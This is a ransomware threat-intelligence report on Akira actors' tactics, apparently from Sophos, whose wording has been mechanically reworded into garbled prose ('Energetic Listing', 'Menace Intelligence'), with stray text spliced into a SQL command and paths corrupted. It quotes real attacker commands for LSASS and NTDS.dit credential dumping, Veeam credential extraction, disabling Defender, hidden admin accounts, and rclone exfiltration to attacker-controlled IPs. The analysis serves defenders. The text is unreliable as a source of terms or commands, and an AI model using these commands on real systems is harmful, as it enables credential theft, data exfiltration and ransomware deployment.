The Sophos MDR Menace Intelligence crew beforehand printed the weblog Akira Ransomware is “bringin’ 1988 again” in Could 2023, roughly two months after the group is reported to have begun operations. Because the ransomware group’s preliminary assaults in March, Akira has emerged as a formidable ransomware risk within the cybersecurity panorama for small to medium-sized companies, posting tons of of alleged victims on its information leak web site.
Following our preliminary report on Akira ransomware, Sophos has responded to over a dozen incidents involving Akira impacting numerous sectors and areas. In line with our dataset, Akira has primarily focused organizations positioned in Europe, North America, and Australia, and working within the authorities, manufacturing, expertise, training, consulting, prescription drugs, and telecommunication sectors.
Determine 1: Timeline of Akira ransomware assaults noticed by Sophos
Key factors
- Starting in October, Sophos has noticed a brand new pattern of Akira actors performing extortion-only operations through which they exfiltrated information from the sufferer setting with out deploying ransomware or encrypting methods
- All through all of the Akira incidents Sophos has responded to, Sophos has noticed solely a single case leveraging the Megazord ransomware variant, in late August 2023
- In a single incident, Sophos noticed Akira actors leveraging a beforehand unreported backdoor (exe) for establishing command-and-control (C2), marking a divergence from Akira actors’ regular desire of utilizing dual-use brokers for the C2 perform
- In assaults towards organizations with Sophos endpoint protections, Sophos repeatedly noticed Akira actors trying to uninstall and/or disable Sophos protections in an effort to evade detection
Assault Chain
Preliminary Entry
The commonest mode of preliminary entry leveraged by Akira ransomware actors was unauthorized logon to VPNs by accounts missing multi-factor authentication (MFA). Sometimes, Sophos noticed Akira actors particularly concentrating on Cisco VPN merchandise with out MFA enabled, comparable to Cisco ASA SSL VPN or Cisco AnyConnect.
Along with concentrating on lack of MFA, Akira actors are additionally recognized to take advantage of recognized vulnerabilities within the VPN software program itself. In a single case, the risk actors possible exploited CVE-2023-20269 in a company’s Cisco ASA to determine an unauthorized distant entry VPN session into the sufferer’s infrastructure.
Credential Entry
After having access to goal environments, the Akira actors used numerous strategies to acquire the credentials wanted for advancing their goals. Sophos typically noticed the actors try to carry out a minidump of the LSASS course of reminiscence and purchase extra credentials saved in reminiscence, as proven:
cmd /c rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump 572 C:ProgramDatalsass.dmp full
This exercise is recognized by Sophos below the detection ‘WIN-CRD-PRC-RUNDLL-COMSVCS-LSASS-1′.
The actors additionally regularly tried to acquire credentials saved within the Energetic Listing database, with the aim of a full area credential compromise. In some instances, they had been noticed copying the SYSTEM registry hive and NTDS.dit file from the group’s area controller to acquire a full itemizing of consumer accounts and their corresponding area password hashes. In different incidents, the Akira actors leveraged the ntdsutil instrument to carry out an offline picture seize of the Energetic Listing database. This exercise is recognized by Sophos below the detection ‘WIN-CRD-PRC-NTDSUTIL-CREATE-FULL-1′ and ‘WIN-CRD-PRC-VSSADMIN-NTDS-DIT-2′.
We famous two instructions used to dump the NTDS.dit file and SYSTEM registry Hive:
"cmd.exe" /c C:ProgramDataCl.exe -c -i C:WindowsNTDSntds.dit -o C:programdatant.txt "cmd.exe" /c C:ProgramDataCl.exe -c -i c:WindowsSystem32configSYSTEM -o C:programdatasys
We famous one command used to run NTDSUtil to carry out credential dumping:
ntdsutil "ac i ntds" "ifm" "create full c:ProgramdatatempCrashpadTempabc" q q
Moreover, in a number of of the lately noticed Akira instances, the risk actors appeared to have a selected concentrate on Veeam credentials and infrequently leveraged Veeam Credential Dumper scripts to dump credentials saved within the Veeam backup service to plaintext. In lots of situations, the risk actors had been noticed operating the open-source Veeam-Get-Creds script through an interactive PowerShell ISE session to realize area credentials and pivot to different hosts. This exercise is recognized by Sophos below the detection ‘WIN-PROT-VDL-PUA-VEEAM-CREDENTIAL-DUMPER’.
In a minimum of one case, forensic proof signifies the risk actors possible exploited CVE-2023-27532 within the group’s Veeam Backup & Replication element to entry all of the encrypted credentials saved within the configuration database. The risk actor retrieved the Veeam credentials as follows:
sqlcmd.exe -S localhost,60261 -E -y0 -Q "SELECT TOP (1000) [id],[user_name],[password],[usn],Seven months after our first investigation, a fuller portrait of the felony gang and its techniques emerges,[visible],[change_time_utc]FROM [VeeamBackup].[dbo].[Credentials];"
Sophos additionally noticed the Akira actors trying to reap cached Chrome browser credentials for a number of customers. In a selected case, the risk actors used a vendor account to entry a password record doc (G:ITIT ManualPassword Listing Half A.doc and G:ITtemp.txt) on a company’s Area Controller earlier than utilizing esentutl.exe to create a .tmp copy of the file “Login Knowledge” from the Google Chrome consumer information listing, utilizing the next command:
esentutl.exe /y "C:Customers<consumer>AppDataLocalGoogleChromeUser DataDefaultLogin Knowledge" /d "C:Customers<consumer>AppDataLocalGoogleChromeUser DataDefaultLogin Knowledge.tmp"
There was additionally a handful of instances through which the Akira actors had been noticed accessing KeePass backup codes for cloud accounts whereas accumulating information:
C:Windowssystem32NOTEPAD.EXE <Redacted>itKeePassDepartment Cloud Accounts - Backup Codes-backup-codes.txt
Often, the Akira actors had been seen utilizing the Mimikatz instrument and executing numerous applications for credential entry, together with BypassCredGuard.exe to bypass Home windows Credential Guard and WebBrowserPassView.exe to steal passwords saved inside numerous internet browsers:
C:UserstestrdpDownloadsMimikPassBypassCredGuard.exe C:UserstestrdpDownloadsMimikPassWebBrowserPassView.exe C:UserstestrdpDownloadsMimikPassnetpass64.exe C:UserstestrdpDownloadsMimik.exe
Discovery
Sophos generally noticed Akira actors utilizing built-in ping and internet instructions to find extra methods within the setting and determine the standing of goal gadgets. In nearly all instances, the Akira actors had been seen enumerating Energetic Listing data, particularly the Area Directors group and Native Directors group. To perform this, they leveraged native command line utilities comparable to Get-ADComputer and Adfind.exe.
"C:Windowssystem32cmd.exe" /c internet localgroup Directors "C:Windowssystem32net.exe" localgroup directors Get-ADComputer -Filter * -Property * | Choose-Object Enabled, Title, DNSHostName, IPv4Address, OperatingSystem, Description, CanonicalName, servicePrincipalName, LastLogonDate, whenChanged, whenCreated > C:ProgramDataAdComp[.]txt
The Akira actors additionally used a number of accounts for community scans and utilizing instruments comparable to Superior IP Scanner and Netscan to evaluate the goal’s community topology, as proven:
C:Customers<consumer>Desktopnetscan_n.exe C:customers<consumer>appdatalocaltemp3advanced ip scanner 2advanced_ip_scanner.exe C:Customers<consumer>DesktopAdvanced_IP_Scanner_2.5.4594.1.exe
There was additionally a very distinctive case the place Sophos noticed the risk actors execute this system ck.exe, which was an executable that appeared to work together with ransomware binary Lck.exe. The execution of ck.exe generated substantial telemetry, which logged the ransomware binary Lck.exe accessing quite a few recordsdata and community shares throughout the goal’s community, a number of of that are proven beneath:
- begin c:programdatalck.exe -p="172.16.x.xDevelopment" -n=20 - begin c:programdatalck.exe -p="172.16.x.x -n=20 - begin c:programdatalck.exe -p="172.16.x.xFinance" -n=20 - begin c:programdatalck.exe -p="172.16.x.xIT Common" -n=20 - begin c:programdatalck.exe -p="172.16.x.xSecurity" -n=20 - begin c:programdatalck.exe -p="172.16.x.xSenior Administration” -n=20 - begin c:programdatalck.exe -p="172.16.x.xSystems" -n=20
Lateral Motion
All through the incidents, Sophos most frequently noticed Akira actors use Distant Desktop Protocol (RDP) with legitimate native administrator consumer accounts to maneuver laterally all through goal environments. In a single incident, the risk actors used RDP over 100 instances between preliminary entry and ransomware deployment to realize entry to a complete of 15 machines.
Additionally they generally used SMB together with RDP for lateral motion and in some instances utilized the Impacket module wmiexec to maneuver laterally. Different instruments used for lateral motion embody VmConnect.exe, which allows customers to connect with and handle digital machines (VMs) operating on Hyper-V hosts. On this occasion, the attackers used a compromised administrator account to launch the Hyper-V administration interface and entry the group’s VMs.
Akirato run instructions on distant methods with native System privileges.
7045 LocalSystem PSEXESVC %SystemRootpercentPSEXESVC.exe <username> consumer mode service demand begin
This exercise is recognized by Sophos below detection ‘WIN-PROT-VDL-PUA-PSEXEC’.
Persistence & Privilege Escalation
The Akira actors had been noticed on a number of events creating consumer accounts and utilizing internet instructions so as to add the accounts to security-enabled native teams as a way of creating persistence in a , as proven beneath:
C:Windowssystem32net1 consumer <username> <RedactedPassword> /ADD C:Windowssystem32net1 localgroup Directors <username> /ADD
They had been additionally regularly noticed resetting the passwords for a number of area accounts to make sure they had been capable of login to the account sooner or later. To additional preserve persistence and elevate privileges inside a compromised system, Akira actors often added a newly created consumer to the Particular Accounts registry key, which is detected by Sophos below the detection ‘WIN-EVA-PRC-HIDE-LOGON-REGISTRY-1’:
"C:Windowssystem32reg.exe" add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserlist" /v <username> /t REG_DWORD /d 0 /f
Moreover, in a single compromise, Sophos noticed the actors create a brand new area group known as ‘ESX Admins’, to which they then added their newly created accounts:
internet group "ESX Admins" /area /add internet group "ESX Admins" <username> /area /add internet consumer admin P@ssw0rd! /add internet localgroup "directors" admin /add
These actions had been the results of hands-on-keyboard exercise, which is evidenced by a mistyped internet group command to record the members of the ‘area admins’ group:
internet group "doamin admins" /dom internet group "area admins" /dom
Moreover, there have been some situations through which Sophos instances through which Sophos XDR detected the risk actors utilizing the service supervisor instrument nssm.exe (at path C:Windowstmpnssm.exe or C:Windowstmpnssm-2.24win64nssm.exe) to create the malicious service ‘sysmon’, which executed sysmon.exe and launched tunneling instruments comparable to Ngrok or Ligolo-ng to determine distant entry to the compromised machines.
‘’{"EventData”:{“AccountName”:”LocalSystem”,”ImagePath”:”C:Home windowstmpnssm.exe”,
“ServiceName”:”Sysmon”,”ServiceType”:”consumer mode service”,”StartType”:”auto begin”}}
"C:Windowstmpsysmon.exe" begin --all --region us --config=C:Windowstmpconfig.yml
This exercise is recognized by Sophos below detection ‘ATK/Ligolo-C’ and ‘Mal/Generic-R’.
Protection Evasion
Almost all the noticed incidents concerned efforts by Akira actors to uninstall Sophos endpoint protections and different safety monitoring instruments. Most frequently, the actors tried to uninstall Sophos endpoint through the next executables:
C:Program FilesSophosSophos Endpoint Agentuninstallgui.exe. C:Program FilesSophosSophos Endpoint AgentSophosUninstall.exe
In a single case, Sophos noticed the Akira actors trying to disable Sophos endpoint on a company’s VMs roughly one hour earlier than executing the ransomware binary. To do that, the risk actors tried to delete all Sophos providers when the VM was powered off, with the aim of inflicting Sophos providers to fail to load when powered again on and creating a chance for the actors to run the ransomware executable undetected.
The actors had been additionally noticed making an attempt to disable Home windows Defender real-time monitoring in a number of instances:
Set-MpPreference -DisableRealtimeMonitoring $true
To additional evade defenses and conceal their exercise, the risk actors typically used runas to run instructions within the context of a distinct consumer than the consumer as which they had been logged in:
runas /netonly /consumer:<username><username> cmd
This makes monitoring the exercise tougher for defenders. It may also be used to run with increased permissions than the account with which they’re authenticated. The actors had been additionally seen trying to keep away from detection by eradicating the instruments they used for file assortment after their exercise was full.
Command and Management
For command-and-control (C2), the risk actors regularly used the favored dual-use agent AnyDesk to determine persistent distant entry to a number of methods throughout the impacted group’s community.
"C:Customers<consumer>DownloadsAnyDesk.exe" --install "C:Program Information (x86)AnyDesk" --start-with-win --create-shortcuts --create-taskbar-icon --create-desktop-icon --install-driver:mirror --install-driver:printer --update-main --svc-conf "C:Customers<consumer>AppDataRoamingAnyDeskservice.conf" --sys-conf "C:Customers<consumer>AppDataRoamingAnyDesksystem.conf"
In a single case, the actors additionally executed a DWAgent installer for distant entry, which was detected by Sophos below detection ‘WIN-PER-PRC-DWAGENT-INSTALL-1′:
"C:Customers<consumer>Downloadsdwagent.exe"
Moreover, in a single distinctive incident, Sophos noticed the Akira actors dropping a bespoke Trojan (C:ProgramDataMicrosoftcrome.exe) that communicated with attacker-controlled IP deal with 170.130.165[.]171 and allowed the actors to keep up a foothold on the community:
"cmd.exe" /c C:ProgramDataMicrosoftcrome.exe
Sophos’ investigations into numerous Akira incidents have revealed the group’s excessive precedence of exfiltrating information from goal environments. In almost all noticed instances, the Akira actors used numerous instruments to exfiltrate delicate data, together with a minimum of two instances centered solely on exfiltration with out deploying a ransomware binary.
The Akira actors’ main instruments supporting exfiltration embody WinRAR, WinSCP, rclone, and MEGA. In a number of incidents, the risk actors downloaded and put in WinRAR, generally through Chrome, to compress collected information into RAR archives for exfiltration:
"C:Customers<consumer>Downloadswinrar-x64-623.exe"
As soon as the actors added a number of recordsdata right into a compressed RAR file, they used numerous strategies to exfiltrate the information to their attacker-controlled IPs. In a single case, the actors put in each WinRAR and Google Chrome through explorer.exe and compressed roughly 34GB of knowledge into a number of archive recordsdata within the ‘C:ProgramData’ listing earlier than exfiltrating the information utilizing Chrome.exe to exterior IP deal with 13.107.42[.]12. The RAR file names included ‘Former Worker’s Knowledge.rar’, ‘Advantages.rar’, ‘Workerscomp.rar’, and recordsdata associated to particular customers.
In different instances, the Akira actors used rclone to exfiltrate data – in a single case even succeeding to exfiltrate almost 483GB of knowledge to attacker-controlled IP deal with 185.82.216[.]56 over port 22. In one other incident, the actors used rclone to work together with almost 1,500 recordsdata within the goal’s property and connect with attacker-controlled IP 104.200.72[.]33 over port 22.
rclone copy 192.168.XXX.214f$ st:"/dwelling/.../.../F" --max-age 1y --exclude "*.{MOV,FIT,match,FIL,fil,mp4,AVI,avi,mov,MOV,iso,exe,dll,psd,PSD,7z,7Z,rar,RAR,zip,mox,MOX,wav,WAV,bpm,BPM,mts,MTS,ts,TS,JS,js,ttf,log,map,ai,tmp,TMP,DB,db,mpeg,MPEG,xmp,html,ini,msg,aac,AAC,bak,BAK,DAT,dat,lnk,dwg,indb,indd,svg,idml,ZIP,CAB,EXE,MSI,bin,XML,MMF,DAT,DS_Store,mpp,mp3,m4a,M4A,pkg,gz,ova,iso,mdb,DLL,MP4,mkv,MKV,MP3,WMA,g64x,ufdr,vob,VOB,ave,AVE,P01,p01,PO1,po1,dav,DAV,fls,FLS,dist,DIST.c01,C01}" -q --ignore-existing --auto-confirm --multi-thread-streams 25 --transfers 25 –P
This exercise is recognized by Sophos below detection ‘EQL-WIN-EXF-PRC-SUSP-RCLONE-OPTION-1′.
Sophos additionally regularly noticed the Akira actors exfiltrating information through MEGA, and all through a number of incidents detected Google Chrome connections to the next MEGA file-sharing service IPs:
- 99.35[.]22
- 206.25[.]71
- 203.127[.]13
- 99.35[.]202
Influence
Sophos noticed tried ransomware execution in almost all instances, besides two through which the actors solely carried out information exfiltration and no indicators of encryption had been noticed aside from the dropping of the quite a few “README.txt” recordsdata.
The dwell time the Akira actors spent within the goal setting from first noticed exercise to influence, which incorporates each exfiltration and ransomware deployment, ranged from lower than at some point as much as 25 days.
Whereas the ransomware binary had delicate deviations between intrusions, Sophos repeatedly noticed Akira actors deploy the ransomware binary below the identify ‘w.exe’ to encrypt a number of machines throughout the goal networks:
C:w[.]exe C:UsersinstallDownloadsw[.]exe 192.168.XXX.37c$w[.]exe
Whereas the actors executed the ransomware manually on some servers throughout compromises, the first mode of encryption was achieved over SMB. The ransomware, upon an infection, encrypted recordsdata with the “akira” extension, created a ransom word named “akira_readme.txt” on impacted gadgets, and deleted the Quantity Shadow copies.
Determine 2: Pattern of Akira ransomware word
In a single case, Sophos noticed w.exe being dropped by the Akira actors interactively through their RDP session to c:customers<consumer>documentsw.exe earlier than transferring the file to c:programdataw.exe, the place it was executed to encrypt the C: and E: drives. On this case, the actors succeeded in encrypting roughly 65,000 recordsdata on one server, in addition to quite a few recordsdata on the E: drive of the goal’s area controller.
Sophos additionally noticed the actors deploy the Akira ransomware binary below the names Lck.exe, 1.exe, and locker.exe. Within the case with the ransomware binary named 1.exe, the Akira actors encrypted sufferer methods over SMB shares utilizing BAT recordsdata (1.bat, 3.bat, 5.bat) that contained instructions much like these beneath:
begin 1.exe -p="<redacted> C$" -n=10 begin 1.exe -p=" <redacted> <redacted>$" -n=10 begin 1.exe -p=" <redacted> D$" -n=10
This exercise is recognized by Sophos below detection ‘Troj/Akira-A’ , ‘Troj/Ransom-GZA’ , and ‘Troj/Ransom-GZL’.
Abstract
In our Could weblog on Akira ransomware, we walked via two noticed Akira infections and offered steerage on methods to greatest defend towards every step of the risk group’s assault chain. On this submit, we add to the present physique of data on Akira ransomware and supply additional particulars on how the actors’ techniques have developed all through the previous a number of months.
All through the previous few months, Sophos has noticed Akira actors prioritize exfiltration in goal environments, possible for the aim of extorting organizations over leaked information. Although solely famous in a handful of instances, Akira’s latest pattern of exfiltration with out encryption by Akira might point out new techniques by the actors to extort victims with out the added detection threat that ransomware deployment may set off. As Akira continues to leverage quite a lot of credential entry and protection evasion strategies, Sophos continues to carefully monitor Akira ransomware exercise and observe their evolving techniques goals to construct the most effective protections for group to detect and stop this type of exercise.
Indicators of Compromise
An inventory of related IoC is posted to our GitHub occasion.
